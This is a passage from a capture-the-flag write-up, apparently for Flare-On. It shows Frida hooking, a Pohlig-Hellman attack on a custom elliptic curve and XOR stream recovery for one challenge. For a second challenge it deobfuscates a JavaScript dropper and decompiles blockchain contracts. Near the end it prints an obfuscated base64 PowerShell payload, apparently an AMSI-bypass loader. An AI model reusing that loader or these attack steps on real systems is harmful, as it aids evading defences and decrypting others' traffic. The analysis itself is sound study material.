if (u1.isNull()) return '<null>';
let str = '';
str += '\n';
str += indent;
str += 'q: ';
str += BigIntToString(u1.add(0x8).readPointer());
str += '\n';
str += indent;
str += 'r: ';
str += BigIntToString(u1.add(0x10).readPointer());
str += '\n';
str += indent;
str += 'x: ';
str += BigIntToString(u1.add(0x18).readPointer());
return str;
}
function dumpPoint(u1, indent) {
indent += '\t';
let str = '';
str += '\n';
str += indent;
str += 'x:';
str += dumpFieldElement(u1.add(0x10).readPointer(), indent);
str += '\n';
str += indent;
str += 'y:';
str += dumpFieldElement(u1.add(0x18).readPointer(), indent);
return str;
}
function dumpCurve(u1, indent) {
indent += '\t';
let str = '';
str += '\n';
str += indent;
str += 'a:';
str += dumpFieldElement(u1.add(0x10).readPointer(), indent);
str += '\n';
str += indent;
str += 'b:';
str += dumpFieldElement(u1.add(0x18).readPointer(), indent);
str += '\n';
str += indent;
str += 'order:';
str += BigIntToString(u1.add(0x20).readPointer());
str += '\n';
str += indent;
str += 'cofactor:';
str += BigIntToString(u1.add(0x28).readPointer());
str += '\n';
str += indent;
str += 'q:';
str += BigIntToString(u1.add(0x50).readPointer());
str += '\n';
str += indent;
str += 'r:';
str += BigIntToString(u1.add(0x58).readPointer());
return str;
}
Interceptor.attach(base.add(0x77110), { // ECPoint::Multiply
onEnter(args) {
console.log("Curve:");
console.log(dumpCurve(args[0].add(0x8).readPointer(), ''));
console.log("Point:")
console.log(dumpPoint(args[0], ''));
console.log("Scalar:")
console.log(BigIntToString(args[1], ''));
},
});
Interceptor.attach(base.add(0x71ae0), { // BigInteger::Xor
onEnter: function (args) {
console.log("XOR:")
console.log(BigIntToString(args[0]));
console.log(BigIntToString(args[1]));
}
});
Note here that I also printed out the BigInteger::Xor
call arguments, since we need to know what is being XOR’d on the data sent through the network. Running frida -l solve.js .\fullspeed.exe
gives us:
So now we have the parameters:
- Curve:
- \(a\): 0xa079db08ea2470350c182487b50f7707dd46a58a1d160ff79297dcc9bfad6cfc96a81c4a97564118a40331fe0fc1327f
- \(b\): 0x9f939c02a7bd7fc263a4cce416f4c575f28d0c1315c4f0c282fca6709a5f9f7f9c251c9eede9eb1baa31602167fa5380
- \(q\): 0xc90102faa48f18b5eac1f76bb40a1b9fb0d841712bbe3e5576a7a56976c2baeca47809765283aa078583e1e65172a3fd
- Base Point \(G\)
- \(x\): 0x087b5fe3ae6dcfb0e074b40f6208c8f6de4f4f0679d6933796d3b9bd659704fb85452f041fff14cf0e9aa7e45544f9d8
- \(y\): 0x127425c1d330ed537663e87459eaa1b1b53edfe305f6a79b184b3180033aab190eb9aa003e02e9dbf6d593c5e3b08182
- the XOR key: 0x1337 (repeated)
Doing a quick search on the constants, we could not find any results. This means that the curve parameter is custom, and this normally means there are some vulnerabilities built-in.
I’m not familiar with crypto, so I read this paper to find out possible attacks on a weak curve. According to the paper, let’s first calculate the order of the base point. Using SageMath:
sage: a = 0xa079db08ea2470350c182487b50f7707dd46a58a1d160ff79297dcc9bfad6cfc96a81c4a97564118a40331fe0fc1327f
sage: b = 0x9f939c02a7bd7fc263a4cce416f4c575f28d0c1315c4f0c282fca6709a5f9f7f9c251c9eede9eb1baa31602167fa5380
sage: q = 0xc90102faa48f18b5eac1f76bb40a1b9fb0d841712bbe3e5576a7a56976c2baeca47809765283aa078583e1e65172a3fd
sage: E = EllipticCurve(GF(q), (a, b))
sage: G = E((0x087b5fe3ae6dcfb0e074b40f6208c8f6de4f4f0679d6933796d3b9bd659704fb85452f041fff14cf0e9aa7e45544f9d8, 0x127425c1d330ed537663e87459eaa1b1b53edfe305f6a79b184b3180033aab190eb9aa003e02e9dbf6d593c5e3b08182))
sage: G.order()
30937339651019945892244794266256713890440922455872051984762505561763526780311616863989511376879697740787911484829297
sage: G.order().factor()
35809 * 46027 * 56369 * 57301 * 65063 * 111659 * 113111 * 7072010737074051173701300310820071551428959987622994965153676442076542799542912293
So we indeed see the order has small factors. According to the paper, Pohlig-Hellman Attack should be applicable to this case. The paper has an explanation of how it works, essentially, it works by solving the discrete log problems on these factors, turning them into a system of equations involving modulo (linear congruence equations) and then use the Chinese Remainder Theorem to find the solution.
However, because we still have a large factor, we still can’t find the solution to the discrete log problem to that large factor as the base. If we ignore the large factor, we can get the partial solution to the system, which is the smallest solution that satisfies the system of equations except the last one modulo the large factor. Modifying the code in the paper:
def PolligHellmanMod(P,Q):
zList = list()
conjList = list()
rootList = list()
n = P.order()
factorList = n.factor()
for facTuple in factorList[:-1]: # without the last large factor
P0 = (ZZ(n/facTuple[0]))*P
conjList.append(0)
rootList.append(facTuple[0]^facTuple[1])
for i in range(facTuple[1]):
Qpart = Q
for j in range(1,i+1):
Qpart = Qpart - (zList[j-1]*(facTuple[0]^(j-1))*P)
Qi = (ZZ(n/(facTuple[0]^(i+1))))*Qpart
zList.insert(i,discrete_log(Qi,P0,operation='+'))
conjList[-1] = conjList[-1] + zList[i]*(facTuple[0]^i)
return crt(conjList,rootList)
We extract the public key sent by the client from the capture:
Don’t forget to XOR it with 0x1337. The point we get is
sage: P = E((0x195b46a760ed5a425dadcab37945867056d3e1a50124fffab78651193cea7758d4d590bed4f5f62d4a291270f1dcf499, 0x357731edebf0745d081033a668b58aaa51fa0b4fc02cd64c7e8668a016f0ec1317fcac24d8ec9f3e75167077561e2a15))
And run it through the PolligHellmanMod
algorithm:
sage: b = PolligHellmanMod(G, P)
sage: b
3914004671535485983675163411331184
sage: G * b == P
False
Unfortunately, the solution is not correct. However, if we have one minimal solution \(b\) to the system of linear congruence equations, to get a larger one, we just need to add the product of all small factors to the base solution \(b + \Pi_{i}p_i\). This is because
$$
\displaystyle
\forall_i, \Pi_j{p_j} = 0 \mod p_i \text{ and } b \equiv c \mod p_i \
\implies\forall_i, b + \Pi_j{p_j} = c \mod p_i
$$
The product of all small factors is \(F = 35809 \times 46027 \times 56369 \times 57301 \times 65063 \times 111659 \times 113111 = 4374617177662805965808447230529629\), which is around 112 bits. The partial solution we get is also 112 bits.
However, we are still missing one key piece. Notice that the private key generated at the very beginning of the process is of size 0x80, which is 128 bits. This means that the solution must exist between \([b, 2^{128})\). Each time we find a new solution, we increase by \(F\). This means, we can just brute-force at most \(\frac{2^{128} - 2^{112}}{2^{112}} \approx 2^{16}\) times to find the correct solutions.
sage: F = 35809 * 46027 * 56369 * 57301 * 65063 * 111659 * 113111
sage: for i in range(2**16):
....: if G * b == P:
....: print(b)
....: break
....: b += F
....:
168606034648973740214207039875253762473
And we have recovered the private key.
more reversing
It seems that after all this much work, we just reversed the handshake part of the communication. We still need more reversing to figure out what encryption is used on the communication, and maybe some other stuff during the process.
Remember the extra recv
call after the two recv
calls to receive the public key? If we look at its stack trace
We found this method, which seems to be receiving byte by byte (inside function e4be0
) and then process it in 7cb70
.
Inside 7cb70
, we see
Which roughly reads as:
- 12–21: some error case checking, ignore
- 22–25: if the field
+0x24
is0
, run two dynamic functions - 26–31: XOR the input with an array data with index being field
+0x24
, increase the field and bitwise-AND 0x3f (equivalent to mod 64). - 32–36: bound check exception, ignore
Here’s the notated version to make this more readable:
So we know the cipher stream block is of size 64. Every time it is exhausted, a new block is generated.
Furthermore, if we look at cross-references to 7cb70
We see that the other place it’s used, are when the data is send through the network. Therefore, we know that both the receive and send uses the same cipher stream.
To find out how the cipher stream is derived, ideally we need to repeat the process of recovering the meta object (method table) and reverse them.
But honestly, I was very tired from reversing at this point, so I just started YOLO it using Frida.
First, I overwrote the function return value that generates the private key:
Interceptor.attach(base.add(0x107e20), { // GenerateRandomBigInt
onLeave: function(retval) {
const array = BigIntMagnitude(retval);
ArrayDataArrayData(array).writeByteArray([
0x51,0x57,0xd8,0x7e,
0x5e,0x1b,0x13,0xe7,
0x71,0x92,0x55,0xaf,
0xa9,0x79,0xef,0x8b,
]); // 0x7ed85751e7131b5eaf5592718bef79a9
}
});
This makes the program to send the exact same client public key as the given packet capture. Remember that we wrote our fake server to replay the data inside the packet capture file? This implies the server public key is also the same. This would make the same shared secret as the session recorded in the pcap file, and hopefully, this would make the derived cipher stream the same as well.
Then we add another Frida script to dump the XOR key:
let counter = 0;
Interceptor.attach(base.add(0x7cb70), {
onEnter(args) {
this.data = ArrayData(args[0].add(3 * 8).readPointer());
},
onLeave() {
if (counter % 64 == 0) {
console.log(this.data.readByteArray(64));
}
++counter;
}
})
Now, we just need to send some data from out fake server to have it print out the cipher stream.
c.send(b'\x00')
And we got the dump
Let’s use CyberChef to decrypt the data inside packet capture:
Good, the first block is decrypted. Now we just need to dump more cipher stream XOR keys. We can simply do this by sending more data and trigger the block rotation:
c.send(b'\x00' * 450)
Uh, why did we only get two blocks? Well, the plaintext sent are zero-terminated, as known from our decrypted block. In the second block, one of the XOR key is also 0, meaning it would thought that the data has been completed, and it would start processing it in another branch. So what we need to do it to avoid having the same byte as XOR stream. The easiest way to do this is to send a random stream of data:
import random
c.send(bytes(random.choices(range(256), k=450)))
Although the probability of running into the same bytes at the same index is not zero, if that happens we can just rerun, until we get all the blocks we want. After a few tries we got lucky:
And here we have the flag.txt
in Base64 RDBudF9VNWVfeTB1cl9Pd25fQ3VSdjNzQGZsYXJlLW9uLmNvbQ==
. Decode it and we get the flag D0nt_U5e_y0ur_Own_CuRv3s@flare-on.com
.
8 - clearlyfake
We are given a single JavaScript file. It is obfuscated, so let’s try the online deobfuscator:
eval(
(function (_0x263ea1, _0x2e472c, _0x557543, _0x36d382, _0x28c14a, _0x39d737) {
_0x28c14a = function (_0x3fad89) {
return (
(_0x3fad89 < _0x2e472c
? ''
: _0x28c14a(parseInt(_0x3fad89 / _0x2e472c))) +
((_0x3fad89 = _0x3fad89 % _0x2e472c) > 35
? String.fromCharCode(_0x3fad89 + 29)
: _0x3fad89.toString(36))
)
}
if (!''.replace(/^/, String)) {
while (_0x557543--) {
_0x39d737[_0x28c14a(_0x557543)] =
_0x36d382[_0x557543] || _0x28c14a(_0x557543)
}
_0x36d382 = [
function (_0x12d7e8) {
return _0x39d737[_0x12d7e8]
},
]
_0x28c14a = function () {
return '\\w+'
}
_0x557543 = 1
}
while (_0x557543--) {
_0x36d382[_0x557543] &&
(_0x263ea1 = _0x263ea1.replace(
new RegExp('\\b' + _0x28c14a(_0x557543) + '\\b', 'g'),
_0x36d382[_0x557543]
))
}
return _0x263ea1
})(
'0 l=k("1");0 4=k("4");0 1=L l("M");0 a="O";P y j(5){J{0 g="K";0 o=g+1.3.7.u(["c"],[5]).v(2);0 q=m 1.3.h({f:a,d:o});0 p=1.3.7.s("c",q);0 9=E.D(p,"B").x("C-8");0 6="X.Y";4.z(6,"$t = "+9+"\\n");0 r="Q";0 w=W;0 i=r+1.3.7.u(["t"],[9]).v(2);0 A=m 1.3.h({f:a,d:i},w);0 e=1.3.7.s("c",A);0 S=E.D(e,"B").x("C-8");4.z(6,e);F.V(`U N d f:${6}`)}H(b){F.b("G R I y:",b)}}0 5="T";j(5);',
61,
61,
'const|web3||eth|fs|inputString|filePath|abi||targetAddress|contractAddress|error|string|data|decodedData|to|methodId|call|newEncodedData|callContractFunction|require|Web3|await||encodedData|largeString|result|new_methodId|decodeParameter|address|encodeParameters|slice|blockNumber|toString|function|writeFileSync|newData|base64|utf|from|Buffer|console|Error|catch|contract|try|0x5684cff5|new|BINANCE_TESTNET_RPC_URL|decoded|0x9223f0630c598a200f99c5d4746531d10319a569|async|0x5c880fcb|calling|base64DecodedData|KEY_CHECK_VALUE|Saved|log|43152014|decoded_output|txt'.split(
'|'
),
0,
{}
)
)
Huh, it seems that the deobfuscator doesn’t do a good job at all, the script is still unreadable. However, notice that the script has a eval at the outermost level. This means that whatever the argument is must evaluate to a string. Let’s try evaluate it directly:
Awesome. Here’s after it is formatted:
const Web3 = require("web3");
const fs = require("fs");
const web3 = new Web3("BINANCE_TESTNET_RPC_URL");
const contractAddress = "0x9223f0630c598a200f99c5d4746531d10319a569";
async function callContractFunction(inputString) {
try {
const methodId = "0x5684cff5";
const encodedData = methodId + web3.eth.abi.encodeParameters(["string"], [inputString]).slice(2);
const result = await web3.eth.call({
to: contractAddress,
data: encodedData
});
const largeString = web3.eth.abi.decodeParameter("string", result);
const targetAddress = Buffer.from(largeString, "base64").toString("utf-8");
const filePath = "decoded_output.txt";
fs.writeFileSync(filePath, "$address = " + targetAddress + "\n");
const new_methodId = "0x5c880fcb";
const blockNumber = 43152014;
const newEncodedData = new_methodId + web3.eth.abi.encodeParameters(["address"], [targetAddress]).slice(2);
const newData = await web3.eth.call({
to: contractAddress,
data: newEncodedData
}, blockNumber);
const decodedData = web3.eth.abi.decodeParameter("string", newData);
const base64DecodedData = Buffer.from(decodedData, "base64").toString("utf-8");
fs.writeFileSync(filePath, decodedData);
console.log(`Saved decoded data to:${filePath}`)
} catch (error) {
console.error("Error calling contract function:", error)
}
}
const inputString = "KEY_CHECK_VALUE";
callContractFunction(inputString);
Turns out it is a Node.JS script to invoke some contracts on the Binance TestNet Blockchain. Here we use https://testnet.bscscan.com/ to look at the transactions without writing web3 code.
first contract
Let’s look at the first contract.
Unfortunately, when we try to use the built-in decompiler of this website, it does not work.
Then I tried https://ethervm.io/decompile, which gives us at least some output
Looking closer into the reason why this failed, we see that it’s because the Solidity bytecode is using an unrecognized opcode 0x5F
.
However, 0x5F
is actually a valid opcode as listed on the same website:
So I spend sometime finding a tooling that can decompile this opcode, and it seems that this decompiler https://app.dedaub.com/decompile can do the job.
// Decompiled by library.dedaub.com
// 2024.08.29 21:32 UTC
// Compiled using the solidity compiler version 0.8.26
function testStr(string str) public payable {
require(4 + (msg.data.length - 4) - 4 >= 32);
require(str <= uint64.max);
require(4 + str + 31 < 4 + (msg.data.length - 4));
require(str.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
v0 = new bytes[](str.length);
require(!((v0 + ((str.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max) | (v0 + ((str.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < v0)), Panic(65)); // failed memory allocation (too much memory)
require(str.data + str.length <= 4 + (msg.data.length - 4));
CALLDATACOPY(v0.data, str.data, str.length);
v0[str.length] = 0;
if (v0.length == 17) {
require(0 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
v1 = v0.data;
if (bytes1(v0[0] >> 248 << 248) == 0x6700000000000000000000000000000000000000000000000000000000000000) {
require(1 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[1] >> 248 << 248) == 0x6900000000000000000000000000000000000000000000000000000000000000) {
require(2 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[2] >> 248 << 248) == 0x5600000000000000000000000000000000000000000000000000000000000000) {
require(3 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[3] >> 248 << 248) == 0x3300000000000000000000000000000000000000000000000000000000000000) {
require(4 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[4] >> 248 << 248) == 0x5f00000000000000000000000000000000000000000000000000000000000000) {
require(5 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[5] >> 248 << 248) == 0x4d00000000000000000000000000000000000000000000000000000000000000) {
require(6 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[6] >> 248 << 248) == 0x3300000000000000000000000000000000000000000000000000000000000000) {
require(7 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[7] >> 248 << 248) == 0x5f00000000000000000000000000000000000000000000000000000000000000) {
require(8 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[8] >> 248 << 248) == 0x7000000000000000000000000000000000000000000000000000000000000000) {
require(9 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[9] >> 248 << 248) == 0x3400000000000000000000000000000000000000000000000000000000000000) {
require(10 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[10] >> 248 << 248) == 0x7900000000000000000000000000000000000000000000000000000000000000) {
require(11 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[11] >> 248 << 248) == 0x4c00000000000000000000000000000000000000000000000000000000000000) {
require(12 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[12] >> 248 << 248) == 0x3000000000000000000000000000000000000000000000000000000000000000) {
require(13 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[13] >> 248 << 248) == 0x3400000000000000000000000000000000000000000000000000000000000000) {
require(14 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[14] >> 248 << 248) == 0x6400000000000000000000000000000000000000000000000000000000000000) {
require(15 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[15] >> 248 << 248) == 0x2100000000000000000000000000000000000000000000000000000000000000) {
v2 = v3.data;
v4 = bytes20(0x5324eab94b236d4d1456edc574363b113cebf09d000000000000000000000000);
if (v3.length < 20) {
v4 = v5 = bytes20(v4);
}
v6 = v7 = v4 >> 96;
} else {
v6 = v8 = 0;
}
} else {
v6 = v9 = 0xce89026407fb4736190e26dcfd5aa10f03d90b5c;
}
} else {
v6 = v10 = 0x506dffbcdaf9fe309e2177b21ef999ef3b59ec5e;
}
} else {
v6 = v11 = 0x26b1822a8f013274213054a428bdbb6eba267eb9;
}
} else {
v6 = v12 = 0xf7fc7a6579afa75832b34abbcf35cb0793fce8cc;
}
} else {
v6 = v13 = 0x83c2cbf5454841000f7e43ab07a1b8dc46f1cec3;
}
} else {
v6 = v14 = 0x632fb8ee1953f179f2abd8b54bd31a0060fdca7e;
}
} else {
v6 = v15 = 0x3bd70e10d71c6e882e3c1809d26a310d793646eb;
}
} else {
v6 = v16 = 0xe2e3dd883af48600b875522c859fdd92cd8b4f54;
}
} else {
v6 = v17 = 0x4b9e3b307f05fe6f5796919a3ea548e85b96a8fe;
}
} else {
v6 = v18 = 0x6371b88cc8288527bc9dab7ec68671f69f0e0862;
}
} else {
v6 = v19 = 0x53fbb505c39c6d8eeb3db3ac3e73c073cd9876f8;
}
} else {
v6 = v20 = 0x84abec6eb54b659a802effc697cdc07b414acc4a;
}
} else {
v6 = v21 = 0x87b6cf4edf2d0e57d6f64d39ca2c07202ab7404c;
}
} else {
v6 = v22 = 0x53387f3321fd69d1e030bb921230dfb188826aff;
}
} else {
v6 = v23 = 0x40d3256eb0babe89f0ea54edaa398513136612f5;
}
} else {
v6 = v24 = 0x76d76ee8823de52a1a431884c2ca930c5e72bff3;
}
MEM[MEM[64]] = address(v6);
return address(v6);
}
// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function function_selector( function_selector) public payable {
MEM[64] = 128;
require(!msg.value);
if (msg.data.length >= 4) {
if (0x5684cff5 == function_selector >> 224) {
testStr(string);
}
}
fallback();
}
The function_selector
is the entry point of the solidity code. From the source code, we see that the method ID is 0x5684cff5
, and from the decompiled code, we see the same constant.
From the first if
, we can tell that the input string has length 17. Then, for each of the next if
s, a single byte is checked. We can just use regular expression 0x(..)0{62}
to match all the constants. We extracted
67 69 56 33 5f 4d 33 5f 70 34 79 4c 30 34 64 21
Which decodes to giV3_M3_p4yL04d!
. Notice that this is only 16 bytes, and the last byte is not checked at all, so it can be anything.
If successfully validated all the bytes, at the end the value 0x5324eab94b236d4d1456edc574363b113cebf09d
is returned.
second contract
Notice that the given JavaScript doesn’t contain the correct logic, but we can guess what it wanted to do: The return value of the first contract call is used as the contract address of the second call. Putting the return value into the explorer, we indeed see another contract:
Putting it through Dedaub again, we get another decompiled contract code:
// Decompiled by library.dedaub.com
// 2024.09.28 13:35 UTC
// Compiled using the solidity compiler version 0.8.26
// Data structures and variables inferred from the use of storage instructions
uint256[] array_0; // STORAGE[0x0]
function 0x14a(bytes varg0) private {
require(msg.sender == address(0xab5bc6034e48c91f3029c4f1d9101636e740f04d), Error('Only the owner can call this function.'));
require(varg0.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
v0 = 0x483(array_0.length);
if (v0 > 31) {
v1 = v2 = array_0.data;
v1 = v3 = v2 + (varg0.length + 31 >> 5);
while (v1 < v2 + (v0 + 31 >> 5)) {
STORAGE[v1] = STORAGE[v1] & 0x0 | uint256(0);
v1 = v1 + 1;
}
}
v4 = v5 = 32;
if (varg0.length > 31 == 1) {
v6 = array_0.data;
v7 = v8 = 0;
while (v7 < varg0.length & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) {
STORAGE[v6] = MEM[varg0 + v4];
v6 = v6 + 1;
v4 = v4 + 32;
v7 = v7 + 32;
}
if (varg0.length & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 < varg0.length) {
STORAGE[v6] = MEM[varg0 + v4] & ~(uint256.max >> ((varg0.length & 0x1f) << 3));
}
array_0.length = (varg0.length << 1) + 1;
} else {
v9 = v10 = 0;
if (varg0.length) {
v9 = MEM[varg0.data];
}
array_0.length = v9 & ~(uint256.max >> (varg0.length << 3)) | varg0.length << 1;
}
return ;
}
function fallback() public payable {
revert();
}
function 0x5c880fcb() public payable {
v0 = 0x483(array_0.length);
v1 = new bytes[](v0);
v2 = v3 = v1.data;
v4 = 0x483(array_0.length);
if (v4) {
if (31 < v4) {
v5 = v6 = array_0.data;
do {
MEM[v2] = STORAGE[v5];
v5 += 1;
v2 += 32;
} while (v3 + v4 <= v2);
} else {
MEM[v3] = array_0.length >> 8 << 8;
}
}
v7 = new bytes[](v1.length);
MCOPY(v7.data, v1.data, v1.length);
v7[v1.length] = 0;
return v7;
}
function 0x483(uint256 varg0) private {
v0 = v1 = varg0 >> 1;
if (!(varg0 & 0x1)) {
v0 = v2 = v1 & 0x7f;
}
require((varg0 & 0x1) - (v0 < 32), Panic(34)); // access to incorrectly encoded storage byte array
return v0;
}
function owner() public payable {
return address(0xab5bc6034e48c91f3029c4f1d9101636e740f04d);
}
function 0x916ed24b(bytes varg0) public payable {
require(4 + (msg.data.length - 4) - 4 >= 32);
require(varg0 <= uint64.max);
require(4 + varg0 + 31 < 4 + (msg.data.length - 4));
require(varg0.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
v0 = new bytes[](varg0.length);
require(!((v0 + ((varg0.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max) | (v0 + ((varg0.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < v0)), Panic(65)); // failed memory allocation (too much memory)
require(varg0.data + varg0.length <= 4 + (msg.data.length - 4));
CALLDATACOPY(v0.data, varg0.data, varg0.length);
v0[varg0.length] = 0;
0x14a(v0);
}
// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function __function_selector__() private {
MEM[64] = 128;
require(!msg.value);
if (msg.data.length >= 4) {
if (0x5c880fcb == msg.data[0] >> 224) {
0x5c880fcb();
} else if (0x8da5cb5b == msg.data[0] >> 224) {
owner();
} else if (0x916ed24b == msg.data[0] >> 224) {
0x916ed24b();
}
}
fallback();
}
The second contract call’s method ID is 0x5c880fcb
, so let’s take a look at that function first.
From this function, we see there are two ways the program used to store the data of a byte array: one is stored inline with the length, and another is stored somewhere in global STORAGE. The least significant bit of the length indicates which one is it.
- If the LSB is 0, then it is the inline encoding, where the size is stored in the next 7 bits, and data is stored in the remaining bits of the
uint256
. - If the LSB is 1, then the remaining of the bits stores the length, and the next slot would store the pointer to the first block of the data inside STORAGE. The remaining blocks would be the consecutive blocks in the storage.
So if we look 0x5c880fcb
we see exactly a load operation to the stored byte array: The 0x483
is to check the validation of the length and extract the actual length, and the data is indexed and copied to the memory. The loaded data is returned.
At the block number 43152014, which is the one given in the script, we see a call to this contract with method number 0x916ed24b
:
The beginning of method 0x916ed24b
is to do some validations, copy the input data into memory, and call 0x14a
on the input data.
For function 0x14a
, we see that it does the following:
- Clear the existing data inside the STORAGE array.
- Store the new data into the STORAGE array using the encoding explained above.
Essentially, some data can be uploaded into the contract using method 0x916ed24b
, which can be retrieved using method 0x5c880fcb
.
Since the uploaded data is in the payload, we can just view it using the Explorer:
Which is a Base64 encoded data. It decodes to the following PowerShell script:
[sYstEm.Text.eNCODinG]::unicodE.getStrinG([sYstEm.cONvErt]::FroMbaSE64stRInG("IwBSAGEAcwB0AGEALQBtAG8AdQBzAGUAcwAgAEEAbQBzAGkALQBTAGMAYQBuAC0AQgB1AGYAZgBlAHIAIABwAGEAdABjAGgAIABcAG4ADQAKACQAZgBoAGYAeQBjACAAPQAgAEAAIgANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwANAAoAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIABmAGgAZgB5AGMAIAB7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AFAAcgBvAGMAQQBkAGQAcgBlAHMAcwAoAEkAbgB0AFAAdAByACAAaABNAG8AZAB1AGwAZQAsACAAcwB0AHIAaQBuAGcAIABwAHIAbwBjAE4AYQBtAGUAKQA7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEwAbwBhAGQATABpAGIAcgBhAHIAeQAoAHMAdAByAGkAbgBnACAAbgBhAG0AZQApADsADQAKACAAIAAgACAAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAA0ACgAgACAAIAAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABWAGkAcgB0AHUAYQBsAFAAcgBvAHQAZQBjAHQAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGUAcwBzACwAIABVAEkAbgB0AFAAdAByACAAaQB4AGEAagBtAHoALAAgAHUAaQBuAHQAIABmAGwATgBlAHcAUAByAG8AdABlAGMAdAAsACAAbwB1AHQAIAB1AGkAbgB0ACAAbABwAGYAbABPAGwAZABQAHIAbwB0AGUAYwB0ACkAOwANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAAJABmAGgAZgB5AGMADQAKAA0ACgAkAG4AegB3AHQAZwB2AGQAIAA9ACAAWwBmAGgAZgB5AGMAXQA6ADoATABvAGEAZABMAGkAYgByAGEAcgB5ACgAIgAkACgAKAAnAOMAbQBzAO0ALgAnACsAJwBkAGwAbAAnACkALgBOAE8AcgBtAEEAbABpAHoARQAoAFsAYwBIAGEAUgBdACgANwAwACoAMwAxAC8AMwAxACkAKwBbAGMAaABhAHIAXQAoADEAMQAxACkAKwBbAEMAaABhAHIAXQAoAFsAQgB5AHQAZQBdADAAeAA3ADIAKQArAFsAQwBIAGEAUgBdACgAMQAwADkAKwA2ADAALQA2ADAAKQArAFsAQwBoAGEAUgBdACgANQA0ACsAMQA0ACkAKQAgAC0AcgBlAHAAbABhAGMAZQAgAFsAYwBoAGEAUgBdACgAWwBiAFkAVABFAF0AMAB4ADUAYwApACsAWwBDAEgAYQByAF0AKABbAGIAWQBUAEUAXQAwAHgANwAwACkAKwBbAEMAaABBAFIAXQAoADEAMgAzACsAMgAtADIAKQArAFsAQwBIAGEAcgBdACgAWwBiAHkAdABlAF0AMAB4ADQAZAApACsAWwBDAGgAQQBSAF0AKABbAGIAWQBUAEUAXQAwAHgANgBlACkAKwBbAGMAaABhAHIAXQAoAFsAYgB5AFQARQBdADAAeAA3AGQAKQApACIAKQANAAoAJABuAGoAeQB3AGcAbwAgAD0AIABbAGYAaABmAHkAYwBdADoAOgBHAGUAdABQAHIAbwBjAEEAZABkAHIAZQBzAHMAKAAkAG4AegB3AHQAZwB2AGQALAAgACIAJAAoACgAJwDBAG0AcwDsAFMAYwAnACsAJwDkAG4AQgB1AGYAZgAnACsAJwBlAHIAJwApAC4ATgBPAHIAbQBBAEwASQB6AEUAKABbAEMASABhAFIAXQAoAFsAYgBZAFQARQBdADAAeAA0ADYAKQArAFsAQwBoAGEAcgBdACgAWwBiAFkAVABlAF0AMAB4ADYAZgApACsAWwBjAEgAQQByAF0AKABbAGIAWQBUAEUAXQAwAHgANwAyACkAKwBbAEMASABhAHIAXQAoADEAMAA5ACkAKwBbAGMASABhAFIAXQAoAFsAQgB5AFQAZQBdADAAeAA0ADQAKQApACAALQByAGUAcABsAGEAYwBlACAAWwBjAGgAQQBSAF0AKAA5ADIAKQArAFsAQwBoAGEAcgBdACgAWwBiAHkAVABFAF0AMAB4ADcAMAApACsAWwBjAGgAYQBSAF0AKABbAGIAWQBUAE